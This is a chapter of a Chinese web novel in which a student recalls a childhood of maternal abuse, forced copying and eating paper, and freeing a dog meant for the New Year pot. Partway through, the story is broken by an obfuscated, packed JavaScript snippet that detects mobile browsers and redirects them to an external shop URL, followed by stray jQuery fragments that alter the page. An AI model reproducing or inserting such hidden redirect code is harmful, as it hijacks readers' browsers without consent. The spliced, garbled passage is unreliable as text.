凌晨一点。


    薛年年关掉了聊天的对话框，打开了手机上的照明软件。


    漆黑的衣柜内部在刹那间被点亮。


    她看到了自己蜷缩着的小腿，以及抵在柜门上的膝盖。


    单薄的膝盖因为睡着时无意识的擦碰，有些青黑，在苍白的皮肤上显得格外刺眼。


    虽然伤口的颜色看起来很严重，但薛年年却习惯性无视了它，只伸出手，揉了揉自己酸痛的小腿。


    她刚一动，胃部就传来了一道“咕噜噜”的声响。


    薛年年的脸瞬间红了，她赶紧捂住自己空荡荡的肚子，安静地靠在柜门上听了一会，没有听到衣柜外传来其他的声音。


    室友应该早就睡了。


    幸好她们没有被她吵醒。


    薛年年松了口气，准备用最小的动静解决掉自己的问题。


    她没有屯粮的习惯，然而“饥饿”这个问题，向来很好解决。


    以往如果她的学习任务没有完成，妈妈就不会允许她吃饭。


    她经常一个人抄卷子抄到深夜，如果抄饿了，就往嘴里塞一团草稿纸。


    纸的口感很干……微苦，酸，不好吃，但能填饱肚子。


    她在钻进衣柜补觉时，顺手就带上了肖序借给她的书，还有课上用来记录的本子和笔。


    薛年年其实在肚子响之前，就已经饿得有些晕乎乎的了。


    她下意识像小时候一样，撕了一页本子，把它揉成纸团，塞进了自己嘴巴里嚼嚼。


    是熟悉的，苦涩的味道……咽下去后，胃却得到了安慰。


    薛年年一边嚼嚼，一边靠在冰冷的衣柜门上，把书拿起来，想复习一下今天课上学过的内容。


    她学习的办法很笨拙，理解能力也很一般，只能先死记硬背。


    妈妈总是说她不够聪明，所以要比别人多花时间在学习上，要学会笨鸟先飞。


    她总说“吃得苦中苦，方为人上人。”、“好记性不如烂笔头。”


    她教她多抄书，多抄做过的卷子，因为她年轻的时候，就是这么学习的。


    “我初中可考过两次年级第一名！你比我那时笨多了，要相信我教你的方法。”


    在说这些话的时候，妈妈总会陷入一种微醺般的美妙回忆中。


    薛年年从不会打断她，也不会提醒她，从小学起，她就一直是年级的第一名。


    她也从来没有告诉过妈妈，其实不需要抄写，她也能记下很多内容。


    在很小的时候，薛年年就发现，只要她稍微表现得“聪明”一点，妈妈就会很生气。


    她会整夜整夜地不睡觉，一直坐在她的书桌旁，监督她抄书。


    等小小的她抄得头晕眼花，完全不记得自己写过些什么，一问三不知的时候，妈妈才会像证明了什么般，心满意足地教训她一顿，然后放她去吃饭，睡觉。


    薛年年觉得自己的确挺笨的，被妈妈打了好几次后，才学会装“记忆力不好”，学会装“刻苦”。


    她其实不想要她的女儿太聪明，她只想要她的女儿靠“勤奋”考上A大。


    薛年年一边看着肖序的书，一边习惯性抄写着书上的内容，大脑却自动用另一种方式在记忆。


    今天早上的那一部分知识是淡蓝色的，有金属与薄荷的香气……略微刺鼻，但很好闻，是肖序身上的味道。


    这部分内容她看得很快。


    现在看的内容是青黑色的，有纸屑与胃酸混合的腐烂木头味，薛年年学的速度就要慢上很多。


    上了大学后，很多知识她能背下来，却不能理解。


    虽然下午已经睡了很久，但此时薛年年缩在漆黑的衣柜里，捧着书，看着自己完全理解不了的知识，越看越想睡觉。


    她逐渐又陷入了梦境中……


    梦里的她被关在一间狭小的屋子里，抄写着卷子。


    窗外有雪，不远处是老家的厨房，烟囱中飘散出热气，带着炖烂的蔬菜与油脂混合的味道……是新年。


    妈妈将她从县城带回乡下吃年夜饭。


    除夕夜，小孩们在空地上打雪仗，亲戚们围在火炉边取暖，每个人脸上都洋溢着过年的喜庆——


    每个人经过她的窗前，都会轻飘飘地感叹一句“这小孩学习真刻苦”。


    有些还会嘟囔一声“学那么多有啥用啊？”，然后便走掉，离开。


    这就是她从小到大的除夕夜。


    薛年年低下头，看到梦里的自己身上裹着单薄的棉衣，带着茧的食指被冷风冻得通红。


    那时候她的头发还没有留那么长，只堪堪到肩膀，能挡住一点想钻进脖颈的冷风。


    这时窗外又走来一对父子。


    父亲的眼睛一直往屋里瞟，嘴里还骂着自己的儿子：“你看人家薛年年，除夕都还在学习，人家成绩多好，你看看你！”


    “爸，我那只是不想学，老师都说我可机灵了，如果我肯学，成绩肯定比她好！”


    儿子不服气，“薛年年她就只会死读书，脑袋也不怎么聪明，长大以后肯定没我有出息！你看她那副木呆呆的样，完全就是个绣花枕头。”


    “绣花枕——嘿，你这破孩子，小小年纪竟然也知道什么是漂亮女娃啊？”父亲打趣道。


    儿子的声音忽然结巴了：“漂，漂，亮，谁说的！她哪有那么好看！”


    “上次你们班主任还和我告状，说你在学校里故意拉她的头发，还往她笔盒里扔虫子，这又是咋回事？”


    “那是和她闹着玩呢，爸你就别管了！”


    儿子推着他的父亲走开了。


    “今晚太爷家准备了些什么菜啊？”


    “好东西，你到时候多吃点，给你补补。”


    两人交谈着，越走越远，薛年年看着他们的背影，想起了这是哪一年的除夕夜。


    从远处传来似是狗鸣的呜咽声。


    薛年年打开窗户，血污伴随着铁锈味飘散进来，汤汁在锅中煮沸，“咕噜咕噜咕噜”……


    记忆里那令人反胃的味道久久不散。


    门被锁住了，她便从窗户翻了出去，小跑到厨房的后门旁。


    那里有一个生锈的铁笼子，里面还关着一只小狗。


    狗的尾巴蓬松得像一朵烟花，它的眼睛黑得发亮，后背却瘦骨嶙峋。


    本来应该有两只，另一只已经被人抓起来，绑起来——


    它叫得很凄惨，血洒在地上，锅架在空地中央，“咕噜咕噜咕噜”……


    周围围满了人，声音嘈杂，大人带着小孩在边上看，他们脸上都洋溢着过年的喜庆……是新年。


    趁厨房暂时没人，薛年年钻了进去，找到了劈柴用的斧头。


    斧头很重，她拖着它来到了铁笼旁，用尽全身的力气举起来，往生锈的锁上劈。


    “铛，铛——”


    刚劈两下就被人发现了，之前走掉的那个男孩跑回来叫住她：


    “喂，薛年年你在干什么，停下！放跑这只狗，大家晚上都没吃的了，你会被大人骂的！”


    “明明，明明还有很多。”她气喘吁吁地抬起手臂。


    “你劈不开的，别白费力气了，那可是铁做的！”他冲过来抢她手里的斧头。


    “放，放手！劈不开……吗？我总要试着去争取啊！我很笨，什么东西都只能靠重复去得到，一次不行就两次，两次不行就三次，总有一次能成功！我要想办法！”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16760963|190153||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她借着挥斧头的力，把人推开。


    男孩被她推倒在地上，手先着地，掌心出了血，痛得大叫起来。


    他甚至都不敢再靠近她了，满脸震惊地看着一个他认为的“乖乖女”，“木呆呆的绣花枕头”举起斧子。


    薛年年已经记不清当时的场景了，她只记得自己麻木地挥着手臂，天上掉下融化的雪，浸湿了她的后背。


    她好笨啊……


    学习只会靠死记硬背，除了做题什么都不会，连斧子都不会用！


    她胡乱地劈砍着，手臂已经酸痛得快举不起来了。


    一下，两下，三……还差一点，再坚持一下就可以了吗？


    终于，“哐当！”伴随着一声脆响，生锈的锁掉落下来，薛年年拉开了铁笼。


    “快走吧。”


    狗撞了出来，在她的腿边转了两圈，舔掉了她裤脚上的雪花。


    目的达成，薛年年瞬间松了口气。


    她的头垂下来，望向地上那个不断惊叫的人。


    他的痛呼声立刻止住。


    “手还痛吗？”她看向他的眼睛。


    地上的人摇了摇头，耳根忽然变得通红，目光一直黏在她的脸上。


    即便这是梦，薛年年也觉得这很没意思。


    她的声音中充满了疲惫，居高临下地望着他，眼睛里倒映着融雪的颜色：


    “那么请你不要因为流了点血，就在那里瞎叫唤了。”


    说完这句话，她闭上眼，躺进雪地里，冰凉的雪包裹住她。


    小狗温热的鼻息还环绕在她腿边，它还没有走，但她已经很累了，没有力气再送它。


    “快走，快走啊！不要停下，离开这里……”


    她也想要离开。


    那天的除夕夜她只吃了纸团。


    那个男孩没有去告发她，但妈妈发现了她没有留在屋里学习。


    把她带回家后，一个熟悉的耳光从侧面挥来。


    “为什么不听话，为什么要跑出去玩？你还记得你自己是谁吗，你是个学生，该想的事就只有高考！”


    “你怎么能不努力呢，薛年年！你是个笨孩子，你不努力的话什么都做不到，到时候考不上大学怎么办？”


    又一个耳光打上她的脸，“说，我错了，我不该不努力。”


    “妈妈……我没有不努力，我会好好学习的——”


    “啪。”又一个耳光袭来，“说，我错了，我不该不努力，说！我错了，我不该不努力，说！我错了，我不该不努力！”


    她被打得倒在地上，抬起头，是墙壁。


    房间里，墙上全是她抄写的英语书页。


    从客厅到卧室，墙壁上贴满了密密麻麻的英语单词。


    头顶上，母亲举着手。


    “……我错了，我不该不努力。”薛年年感觉到自己的嘴角流下了血。


    除夕夜欢庆的钟声从远处飘来。


    她蜷缩在冰凉的地面上，想起了她放走的那只狗。


    小狗在眼前欢快地跑远。


    她忽然笑了起来，“嘿，你自由了。”


    眼前的画面逐渐变得模糊，薛年年不知道是因为眼泪还是什么。


    但她记得那天她没有哭。


    “真好啊……它自由了。”


    母亲在她高考前夕因病去世，她最后考上了A大，一个女孩离开了小镇。


    按理说，她也应该自由了，可为什么她还会继续做这样的梦？


    薛年年从梦中惊醒，感觉到自己的眼角有些潮湿。


    高考是她18岁之前，人生的全部。


    可高考之后，她又该去做什么呢？


    薛年年想不明白。